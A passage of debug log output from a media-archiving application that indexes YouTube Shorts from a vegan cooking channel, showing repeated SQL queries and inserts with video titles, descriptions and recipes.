s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:10.110 [debug] QUERY OK source="media_items" db=3.5ms queue=0.2ms idle=1007.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 15:37:52Z], 1] 20:30:10.120 [debug] QUERY OK source="media_items" db=9.2ms idle=1010.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese 7-INGREDIENT protein bars are melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! \n\nWATCH THE FULL RECIPE VIDEO HERE: https://youtu.be/ZjO06fyfHLc\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "7-INGREDIENT PROTEIN BARS // Decadent but healthy! #shorts", "0eeaeb6d-e715-4b87-9837-2fa162402e0a", 1, [], 60, false, "ftkpAD_YrzA", "https://www.youtube.com/shorts/ftkpAD_YrzA", 433, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts/7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts [ftkpAD_YrzA].NA", false, false, true, 2, ~U[2022-05-22 15:37:52Z], ~U[2026-03-22 03:30:10Z], ~U[2026-03-22 03:30:10Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese 7-INGREDIENT protein bars are melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! \n\nWATCH THE FULL RECIPE VIDEO HERE: https://youtu.be/ZjO06fyfHLc\n\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "7-INGREDIENT PROTEIN BARS // Decadent but healthy! #shorts", 1, 60, false, "ftkpAD_YrzA", "https://www.youtube.com/shorts/ftkpAD_YrzA", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts/7-INGREDIENT PROTEIN BARS ⧸⧸ Decadent but healthy! #shorts [ftkpAD_YrzA].NA", true, ~U[2022-05-22 15:37:52Z]] 20:30:10.122 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=488.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:10.123 [debug] QUERY OK source="media_profiles" db=0.4ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:10.124 [debug] QUERY OK source="media_items" db=0.5ms idle=17.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [822] 20:30:10.124 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Watched Scott Pilgrim Vs. The World and loved this scene about the vegan police. Thought we'd mash up one of our videos about the occasional cheat meal Brad has that violates vegan code.\n\nFull Video: https://youtu.be/wp9Znjx6GlA", "duration" => 17, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Call the Vegan Police! Brad Violates Vegan Code #shorts/Call the Vegan Police! Brad Violates Vegan Code #shorts [n_pL_AJWrBE].NA", "id" => "n_pL_AJWrBE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/n_pL_AJWrBE", "playlist_index" => 434, "timestamp" => 1653183837, "title" => "Call the Vegan Police! Brad Violates Vegan Code #shorts", "upload_date" => "20220522"} 20:30:10.127 [debug] QUERY OK source="sources" db=2.7ms idle=14.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:10.128 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:10.131 [debug] QUERY OK source="media_items" db=2.9ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-22 01:43:57Z], 1] 20:30:10.135 [debug] QUERY OK source="media_items" db=4.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Watched Scott Pilgrim Vs. The World and loved this scene about the vegan police. Thought we'd mash up one of our videos about the occasional cheat meal Brad has that violates vegan code.\n\nFull Video: https://youtu.be/wp9Znjx6GlA", "Call the Vegan Police! Brad Violates Vegan Code #shorts", "abb17446-a5a1-4a08-a0eb-4323ff5f5aba", 1, [], 17, false, "n_pL_AJWrBE", "https://www.youtube.com/shorts/n_pL_AJWrBE", 434, "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Call the Vegan Police! Brad Violates Vegan Code #shorts/Call the Vegan Police! Brad Violates Vegan Code #shorts [n_pL_AJWrBE].NA", false, false, true, 3, ~U[2022-05-22 01:43:57Z], ~U[2026-03-22 03:30:10Z], ~U[2026-03-22 03:30:10Z], "Watched Scott Pilgrim Vs. The World and loved this scene about the vegan police. Thought we'd mash up one of our videos about the occasional cheat meal Brad has that violates vegan code.\n\nFull Video: https://youtu.be/wp9Znjx6GlA", "Call the Vegan Police! Brad Violates Vegan Code #shorts", 1, 17, false, "n_pL_AJWrBE", "https://www.youtube.com/shorts/n_pL_AJWrBE", "/downloads/downloads/alec/Steamy Vegan/2022-05-22 Call the Vegan Police! Brad Violates Vegan Code #shorts/Call the Vegan Police! Brad Violates Vegan Code #shorts [n_pL_AJWrBE].NA", true, ~U[2022-05-22 01:43:57Z]] 20:30:10.137 [debug] QUERY OK source="sources" db=0.9ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:10.137 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:10.139 [debug] QUERY OK source="media_items" db=1.5ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [823] 20:30:10.139 [debug] Current batch of media processed. Will check again in 1000ms 20:30:11.140 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Rain or shine, this Sunshine Smoothie is guaranteed to put a smile on your face! ☀️Packed with sweet citrus, fresh carrots and the tropical flavours of banana and mango, this sun-coloured sipper is liquid happiness!\n\nWATCH FULL VIDEO FOR ENTIRE RECIPE HERE: https://youtu.be/NToOA5QK408\n\nINGREDIENTS:\n1.5 cups orange juice\n1/3 cup non-dairy vanilla yogurt\n1 inch chunk of ginger peeled,\n1 small carrot\n1 banana\nzest and juice of 1 lemon\n1 tsp ground turmeric\n1 cup frozen mango\na few ice cubes (optional)\n\nFirst, add your orange and lemon juices, and non-dairy yogurt into your blender jug. A general rule of thumb in smoothie making is always add your liquids first.\nAdd your soft fruits – the banana, ginger, and ground turmeric .Lastly, add the carrot and frozen mango (hard and frozen items should always be added to the jug last).\nFinally, seal the lid and blend on high for 30-45 seconds, until completely smooth. Pour the smoothie into a glass, garnish with you favourite toppings and enjoy!", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-21 ☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad/☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad [XmpGMxLJUEg].NA", "id" => "XmpGMxLJUEg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XmpGMxLJUEg", "playlist_index" => 435, "timestamp" => 1653159611, "title" => "☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad", "upload_date" => "20220521"} 20:30:11.141 [debug] QUERY OK source="sources" db=0.8ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:11.142 [debug] QUERY OK source="sources" db=0.1ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:11.145 [debug] QUERY OK source="media_items" db=3.2ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-21 19:00:11Z], 1] 20:30:11.148 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Rain or shine, this Sunshine Smoothie is guaranteed to put a smile on your face! ☀️Packed with sweet citrus, fresh carrots and the tropical flavours of banana and mango, this sun-coloured sipper is liquid happiness!\n\nWATCH FULL VIDEO FOR ENTIRE RECIPE HERE: https://youtu.be/NToOA5QK408\n\nINGREDIENTS:\n1.5 cups orange juice\n1/3 cup non-dairy vanilla yogurt\n1 inch chunk of ginger peeled,\n1 small carrot\n1 banana\nzest and juice of 1 lemon\n1 tsp ground turmeric\n1 cup frozen mango\na few ice cubes (optional)\n\nFirst, add your orange and lemon juices, and non-dairy yogurt into your blender jug. A general rule of thumb in smoothie making is always add your liquids first.\nAdd your soft fruits – the banana, ginger, and ground turmeric .Lastly, add the carrot and frozen mango (hard and frozen items should always be added to the jug last).\nFinally, seal the lid and blend on high for 30-45 seconds, until completely smooth. Pour the smoothie into a glass, garnish with you favourite toppings and enjoy!", "☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad", "903da84f-9eba-4912-af82-962d0e1743d8", 1, [], 60, false, "XmpGMxLJUEg", "https://www.youtube.com/shorts/XmpGMxLJUEg", 435, "/downloads/downloads/alec/Steamy Vegan/2022-05-21 ☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad/☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad [XmpGMxLJUEg].NA", false, false, true, 0, ~U[2022-05-21 19:00:11Z], ~U[2026-03-22 03:30:11Z], ~U[2026-03-22 03:30:11Z], "Rain or shine, this Sunshine Smoothie is guaranteed to put a smile on your face! ☀️Packed with sweet citrus, fresh carrots and the tropical flavours of banana and mango, this sun-coloured sipper is liquid happiness!\n\nWATCH FULL VIDEO FOR ENTIRE RECIPE HERE: https://youtu.be/NToOA5QK408\n\nINGREDIENTS:\n1.5 cups orange juice\n1/3 cup non-dairy vanilla yogurt\n1 inch chunk of ginger peeled,\n1 small carrot\n1 banana\nzest and juice of 1 lemon\n1 tsp ground turmeric\n1 cup frozen mango\na few ice cubes (optional)\n\nFirst, add your orange and lemon juices, and non-dairy yogurt into your blender jug. A general rule of thumb in smoothie making is always add your liquids first.\nAdd your soft fruits – the banana, ginger, and ground turmeric .Lastly, add the carrot and frozen mango (hard and frozen items should always be added to the jug last).\nFinally, seal the lid and blend on high for 30-45 seconds, until completely smooth. Pour the smoothie into a glass, garnish with you favourite toppings and enjoy!", "☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad", 1, 60, false, "XmpGMxLJUEg", "https://www.youtube.com/shorts/XmpGMxLJUEg", "/downloads/downloads/alec/Steamy Vegan/2022-05-21 ☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad/☀️SUNSHINE SMOOTHIE☀️ sip on this when you’re feeling sad [XmpGMxLJUEg].NA", true, ~U[2022-05-21 19:00:11Z]] 20:30:11.149 [debug] QUERY OK source="sources" db=0.8ms idle=512.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:11.149 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:11.150 [debug] QUERY OK source="media_items" db=0.5ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [824] 20:30:11.151 [debug] Current batch of media processed. Will check again in 1000ms 20:30:12.152 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's the weekend which means pancakes in our house but what if you want to have healthy pancakes that are gluten free, vegan, soy free and nut free and don't make you feel guilty? Well, then you've come to the right place because these are the perfect and easiest pancakes for this weekend's healthier breakfast. \n\nFull video: https://youtu.be/Ku7a74eh3a8", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-21 The Perfect Pancakes/The Perfect Pancakes [I2wtst3iTpk].NA", "id" => "I2wtst3iTpk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/I2wtst3iTpk", "playlist_index" => 436, "timestamp" => 1653138008, "title" => "The Perfect Pancakes", "upload_date" => "20220521"} 20:30:12.153 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:12.154 [debug] QUERY OK source="sources" db=0.1ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:12.156 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-21 13:00:08Z], 1] 20:30:12.157 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's the weekend which means pancakes in our house but what if you want to have healthy pancakes that are gluten free, vegan, soy free and nut free and don't make you feel guilty? Well, then you've come to the right place because these are the perfect and easiest pancakes for this weekend's healthier breakfast. \n\nFull video: https://youtu.be/Ku7a74eh3a8", "The Perfect Pancakes", "73dbb787-f013-43f7-bf07-ef6e95350297", 1, [], 12, false, "I2wtst3iTpk", "https://www.youtube.com/shorts/I2wtst3iTpk", 436, "/downloads/downloads/alec/Steamy Vegan/2022-05-21 The Perfect Pancakes/The Perfect Pancakes [I2wtst3iTpk].NA", false, false, true, 1, ~U[2022-05-21 13:00:08Z], ~U[2026-03-22 03:30:12Z], ~U[2026-03-22 03:30:12Z], "It's the weekend which means pancakes in our house but what if you want to have healthy pancakes that are gluten free, vegan, soy free and nut free and don't make you feel guilty? Well, then you've come to the right place because these are the perfect and easiest pancakes for this weekend's healthier breakfast. \n\nFull video: https://youtu.be/Ku7a74eh3a8", "The Perfect Pancakes", 1, 12, false, "I2wtst3iTpk", "https://www.youtube.com/shorts/I2wtst3iTpk", "/downloads/downloads/alec/Steamy Vegan/2022-05-21 The Perfect Pancakes/The Perfect Pancakes [I2wtst3iTpk].NA", true, ~U[2022-05-21 13:00:08Z]] 20:30:12.158 [debug] QUERY OK source="sources" db=0.5ms idle=520.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:12.159 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:12.159 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [825] 20:30:12.160 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Homer and Bart Simpson couldn't be more wrong about salad. Whoever says you don’t make friends with salad obviously never tried one of mine 😏 Check out the Steamy Vegan Kitchen channel for several healthy, fun, and delicious salads that are so good they'll make Homer and Bart Simpson jealous! Doh! 🙄", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-20 Homer and Bart Simpson are so wrong about salad #shorts/Homer and Bart Simpson are so wrong about salad #shorts [hwoU3w3Wlx4].NA", "id" => "hwoU3w3Wlx4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/hwoU3w3Wlx4", "playlist_index" => 437, "timestamp" => 1653090373, "title" => "Homer and Bart Simpson are so wrong about salad #shorts", "upload_date" => "20220520"} 20:30:12.161 [debug] QUERY OK source="sources" db=1.0ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", 